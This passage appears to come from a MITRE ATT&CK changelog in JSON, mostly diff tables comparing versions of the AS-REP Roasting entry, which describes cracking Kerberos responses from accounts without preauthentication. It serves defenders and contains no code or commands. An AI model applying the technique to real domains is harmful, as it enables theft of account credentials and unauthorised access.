class=\"diff_chg\">in&nbsp;to&nbsp;the&nbsp;co</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1550/004)&nbsp;technique&nbsp;to&nbsp;log<span class=\"diff_chg\">&nbsp;in&nbsp;to&nbsp;the&nbsp;c</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">rresponding</span>&nbsp;web&nbsp;application.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">orresponding</span>&nbsp;web&nbsp;application.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1021: Restrict Web-Based Content",
                            "M1032: Multi-factor Authentication",
                            "M1047: Audit",
                            "M1051: Update Software",
                            "M1054: Software Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0509: Detection of Web Session Cookie Theft via File, Memory, and Network Artifacts"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-08-24 13:43:00.028000+00:00",
                    "modified": "2026-11-04 00:59:29.656000+00:00",
                    "name": "AS-REP Roasting",
                    "description": "Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1558/004",
                            "external_id": "T1558.004"
                        },
                        {
                            "source_name": "Harmj0y Roasting AS-REPs Jan 2017",
                            "description": "HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved September 23, 2024.",
                            "url": "https://blog.harmj0y.net/activedirectory/roasting-as-reps/"
                        },
                        {
                            "source_name": "Stealthbits Cracking AS-REP Roasting Jun 2019",
                            "description": "Jeff Warren. (2019, June 27). Cracking Active Directory Passwords with AS-REP Roasting. Retrieved August 24, 2020.",
                            "url": "https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/"
                        },
                        {
                            "source_name": "SANS Attacking Kerberos Nov 2014",
                            "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
                            "url": "https://redsiege.com/kerberoast-slides"
                        },
                        {
                            "source_name": "Microsoft Kerberos Preauth 2014",
                            "description": "Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why It Should Not Be Disabled. Retrieved August 25, 2020.",
                            "url": "https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Yossi Nisani, Cymptom",
                        "James Dunn, @jamdunnDFW, EY",
                        "Swapnil Kumbhar",
                        "Jacques Pluviose, @Jacqueswildy_IT",
                        "Dan Nutting, @KerberToast"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:59:29.656000+00:00\", \"old_value\": \"2025-10-24 17:48:39.884000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \\n\\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\\n\\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \\n\\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\\n\\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\", \"old_value\": \"Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \\n\\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\\n\\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \\n\\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\\n\\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\", \"diff\": \"--- \\n+++ \\n@@ -2,8 +2,8 @@\\n \\n Preauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\\n \\n-For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \\n+For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \\n \\n-An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\\n+An account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.(Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\\n \\n Cracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Microsoft Detecting Kerberoasting Feb 2018\", \"description\": \"Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.\", \"url\": \"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/\"}, \"root['external_references'][5]\": {\"source_name\": \"AdSecurity Cracking Kerberos Dec 2015\", \"description\": \"Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \\u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.\", \"url\": \"https://adsecurity.org/?p=2293\"}, \"root['external_references'][6]\": {\"source_name\": \"Microsoft 4768 TGT 2017\", \"description\": \"Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to103__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to103__0\"><a href=\"#difflib_chg_to103__top\">t</a></td><td class=\"diff_header\" id=\"from103_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;reveal&nbsp;credentials&nbsp;of&nbsp;accounts&nbsp;that&nbsp;have&nbsp;dis</td><td class=\"diff_next\"><a href=\"#difflib_chg_to103__top\">t</a></td><td class=\"diff_header\" id=\"to103_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;reveal&nbsp;credentials&nbsp;of&nbsp;accounts&nbsp;that&nbsp;have&nbsp;dis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">abled&nbsp;Kerberos&nbsp;preauthentication&nbsp;by&nbsp;[Password&nbsp;Cracking](http</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">abled&nbsp;Kerberos&nbsp;preauthentication&nbsp;by&nbsp;[Password&nbsp;Cracking](http</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1110/002)&nbsp;Kerberos&nbsp;messages</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s://attack.mitre.org/techniques/T1110/002)&nbsp;Kerberos&nbsp;messages</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan&nbsp;2017)&nbsp;&nbsp;&nbsp;Preauthenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan&nbsp;2017)&nbsp;&nbsp;&nbsp;Preauthenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;offers&nbsp;protection&nbsp;against&nbsp;offline&nbsp;[Password&nbsp;Cracking]</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;offers&nbsp;protection&nbsp;against&nbsp;offline&nbsp;[Password&nbsp;Cracking]</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1110/002).&nbsp;When&nbsp;enable</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(https://attack.mitre.org/techniques/T1110/002).&nbsp;When&nbsp;enable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d,&nbsp;a&nbsp;user&nbsp;requesting&nbsp;access&nbsp;to&nbsp;a&nbsp;resource&nbsp;initiates&nbsp;communic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d,&nbsp;a&nbsp;user&nbsp;requesting&nbsp;access&nbsp;to&nbsp;a&nbsp;resource&nbsp;initiates&nbsp;communic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;with&nbsp;the&nbsp;Domain&nbsp;Controller&nbsp;(DC)&nbsp;by&nbsp;sending&nbsp;an&nbsp;Authenti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation&nbsp;with&nbsp;the&nbsp;Domain&nbsp;Controller&nbsp;(DC)&nbsp;by&nbsp;sending&nbsp;an&nbsp;Authenti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;Server&nbsp;Request&nbsp;(AS-REQ)&nbsp;message&nbsp;with&nbsp;a&nbsp;timestamp&nbsp;that</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation&nbsp;Server&nbsp;Request&nbsp;(AS-REQ)&nbsp;message&nbsp;with&nbsp;a&nbsp;timestamp&nbsp;that</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;encrypted&nbsp;with&nbsp;the&nbsp;hash&nbsp;of&nbsp;their&nbsp;password.&nbsp;If&nbsp;and&nbsp;only&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;encrypted&nbsp;with&nbsp;the&nbsp;hash&nbsp;of&nbsp;their&nbsp;password.&nbsp;If&nbsp;and&nbsp;only&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;DC&nbsp;is&nbsp;able&nbsp;to&nbsp;successfully&nbsp;decrypt&nbsp;the&nbsp;timestamp&nbsp;with&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;the&nbsp;DC&nbsp;is&nbsp;able&nbsp;to&nbsp;successfully&nbsp;decrypt&nbsp;the&nbsp;timestamp&nbsp;with&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;hash&nbsp;of&nbsp;the&nbsp;user\u2019s&nbsp;password,&nbsp;it&nbsp;will&nbsp;then&nbsp;send&nbsp;an&nbsp;Authen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;hash&nbsp;of&nbsp;the&nbsp;user\u2019s&nbsp;password,&nbsp;it&nbsp;will&nbsp;then&nbsp;send&nbsp;an&nbsp;Authen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tication&nbsp;Server&nbsp;Response&nbsp;(AS-REP)&nbsp;message&nbsp;that&nbsp;contains&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tication&nbsp;Server&nbsp;Response&nbsp;(AS-REP)&nbsp;message&nbsp;that&nbsp;contains&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Ticket&nbsp;Granting&nbsp;Ticket&nbsp;(TGT)&nbsp;to&nbsp;the&nbsp;user.&nbsp;Part&nbsp;of&nbsp;the&nbsp;AS-REP</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Ticket&nbsp;Granting&nbsp;Ticket&nbsp;(TGT)&nbsp;to&nbsp;the&nbsp;user.&nbsp;Part&nbsp;of&nbsp;the&nbsp;AS-REP</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;message&nbsp;is&nbsp;signed&nbsp;with&nbsp;the&nbsp;user\u2019s&nbsp;password.(Citation:&nbsp;Micro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;message&nbsp;is&nbsp;signed&nbsp;with&nbsp;the&nbsp;user\u2019s&nbsp;password.(Citation:&nbsp;Micro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;Kerberos&nbsp;Preauth&nbsp;2014)&nbsp;&nbsp;For&nbsp;each&nbsp;account&nbsp;found&nbsp;without&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">soft&nbsp;Kerberos&nbsp;Preauth&nbsp;2014)&nbsp;&nbsp;For&nbsp;each&nbsp;account&nbsp;found&nbsp;without&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">preauthentication,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;send&nbsp;an&nbsp;AS-REQ&nbsp;message&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">preauthentication,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;send&nbsp;an&nbsp;AS-REQ&nbsp;message&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithout&nbsp;the&nbsp;encrypted&nbsp;timestamp&nbsp;and&nbsp;receive&nbsp;an&nbsp;AS-REP&nbsp;message</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithout&nbsp;the&nbsp;encrypted&nbsp;timestamp&nbsp;and&nbsp;receive&nbsp;an&nbsp;AS-REP&nbsp;message</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;with&nbsp;TGT&nbsp;data&nbsp;which&nbsp;may&nbsp;be&nbsp;encrypted&nbsp;with&nbsp;an&nbsp;insecure&nbsp;algor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;with&nbsp;TGT&nbsp;data&nbsp;which&nbsp;may&nbsp;be&nbsp;encrypted&nbsp;with&nbsp;an&nbsp;insecure&nbsp;algor</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithm&nbsp;such&nbsp;as&nbsp;RC4.&nbsp;The&nbsp;recovered&nbsp;encrypted&nbsp;data&nbsp;may&nbsp;be&nbsp;vulner</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithm&nbsp;such&nbsp;as&nbsp;RC4.&nbsp;The&nbsp;recovered&nbsp;encrypted&nbsp;data&nbsp;may&nbsp;be&nbsp;vulner</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;to&nbsp;offline&nbsp;[Password&nbsp;Cracking](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;to&nbsp;offline&nbsp;[Password&nbsp;Cracking](https://attack.mitre.org</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1110/002)&nbsp;attacks&nbsp;similarly&nbsp;to&nbsp;[Kerberoasting](</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1110/002)&nbsp;attacks&nbsp;similarly&nbsp;to&nbsp;[Kerberoasting](</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1558/003)&nbsp;and&nbsp;expose&nbsp;pl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">https://attack.mitre.org/techniques/T1558/003)&nbsp;and&nbsp;expose&nbsp;pl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aintext&nbsp;credentials.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aintext&nbsp;credentials.(Citation:&nbsp;Harmj0y&nbsp;Roasting&nbsp;AS-REPs&nbsp;Jan&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;2017)(Citation:&nbsp;Stealthbits&nbsp;Cracking&nbsp;AS-REP&nbsp;Roasting&nbsp;Jun&nbsp;20</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2017)(Citation:&nbsp;Stealthbits&nbsp;Cracking&nbsp;AS-REP&nbsp;Roasting&nbsp;Jun&nbsp;201</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">19)&nbsp;&nbsp;&nbsp;An&nbsp;account&nbsp;registered&nbsp;to&nbsp;a&nbsp;domain,&nbsp;with&nbsp;or&nbsp;without&nbsp;spe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)&nbsp;&nbsp;&nbsp;An&nbsp;account&nbsp;registered&nbsp;to&nbsp;a&nbsp;domain,&nbsp;with&nbsp;or&nbsp;without&nbsp;spec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cial&nbsp;privileges,&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;list&nbsp;all&nbsp;domain&nbsp;accounts&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ial&nbsp;privileges,&nbsp;can&nbsp;be&nbsp;abused&nbsp;to&nbsp;list&nbsp;all&nbsp;domain&nbsp;accounts&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hat&nbsp;have&nbsp;preauthentication&nbsp;disabled&nbsp;by&nbsp;utilizing&nbsp;Windows&nbsp;too</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;have&nbsp;preauthentication&nbsp;disabled&nbsp;by&nbsp;utilizing&nbsp;Windows&nbsp;tool</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls&nbsp;like&nbsp;[PowerShell](https://attack.mitre.org/techniques/T10</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;like&nbsp;[PowerShell](https://attack.mitre.org/techniques/T105</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">59/001)&nbsp;with&nbsp;an&nbsp;LDAP&nbsp;filter.&nbsp;Alternatively,&nbsp;the&nbsp;adversary&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9/001)&nbsp;with&nbsp;an&nbsp;LDAP&nbsp;filter.&nbsp;Alternatively,&nbsp;the&nbsp;adversary&nbsp;may</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;send&nbsp;an&nbsp;AS-REQ&nbsp;message&nbsp;for&nbsp;each&nbsp;user.&nbsp;If&nbsp;the&nbsp;DC&nbsp;responds&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;send&nbsp;an&nbsp;AS-REQ&nbsp;message&nbsp;for&nbsp;each&nbsp;user.&nbsp;If&nbsp;the&nbsp;DC&nbsp;responds&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithout&nbsp;errors,&nbsp;the&nbsp;account&nbsp;does&nbsp;not&nbsp;require&nbsp;preauthenticatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">thout&nbsp;errors,&nbsp;the&nbsp;account&nbsp;does&nbsp;not&nbsp;require&nbsp;preauthentication</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;and&nbsp;the&nbsp;AS-REP&nbsp;message&nbsp;will&nbsp;already&nbsp;contain&nbsp;the&nbsp;encrypted&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;the&nbsp;AS-REP&nbsp;message&nbsp;will&nbsp;already&nbsp;contain&nbsp;the&nbsp;encrypted&nbsp;d</td></tr>\n            <tr><td 